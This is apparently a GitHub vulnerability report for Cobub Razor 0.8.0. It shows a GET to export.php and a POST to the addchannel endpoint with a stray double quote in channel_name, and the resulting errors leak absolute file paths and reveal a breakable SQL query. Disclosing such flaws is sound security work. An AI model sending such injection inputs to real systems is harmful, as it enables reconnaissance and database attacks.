Skip to content
Permalink
Branch: master
Find file Copy path
Find file Copy path
Fetching contributors…
Cannot retrieve contributors at this time
36 lines (25 sloc) 1.36 KB

This physical path Leakage exists in Western Bridge Cobub Razor 0.8.0 via a /index.php?/manage/channel/addchannel and /export.php request.

The pages leaked the absolute path:
URL: http://localhost/export.php
Method: GET
Result:

Notice: Undefined index: type in D:\phpStudy\PHPTutorial\WWW\export.php on line 22

Notice: Undefined index: svg in D:\phpStudy\PHPTutorial\WWW\export.php on line 23

Notice: Undefined index: filename in D:\phpStudy\PHPTutorial\WWW\export.php on line 24

Notice: Undefined variable: ext in D:\phpStudy\PHPTutorial\WWW\export.php on line 52

Notice: Undefined variable: ext in D:\phpStudy\PHPTutorial\WWW\export.php on line 94
Invalid type

image

URL: http://localhost/index.php?/manage/channel/addchannel
Method: POST:channel_name=test"&platform=1
Result:

Error Number: 1064

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '123"' at line 3

select * from razor_channel where (user_id = "1" or type="system") and active=1 and channel_name="test" " and platform="123"

Filename: D:\phpStudy\PHPTutorial\WWW\system\database\DB_driver.php

Line Number: 331

image

You can’t perform that action at this time.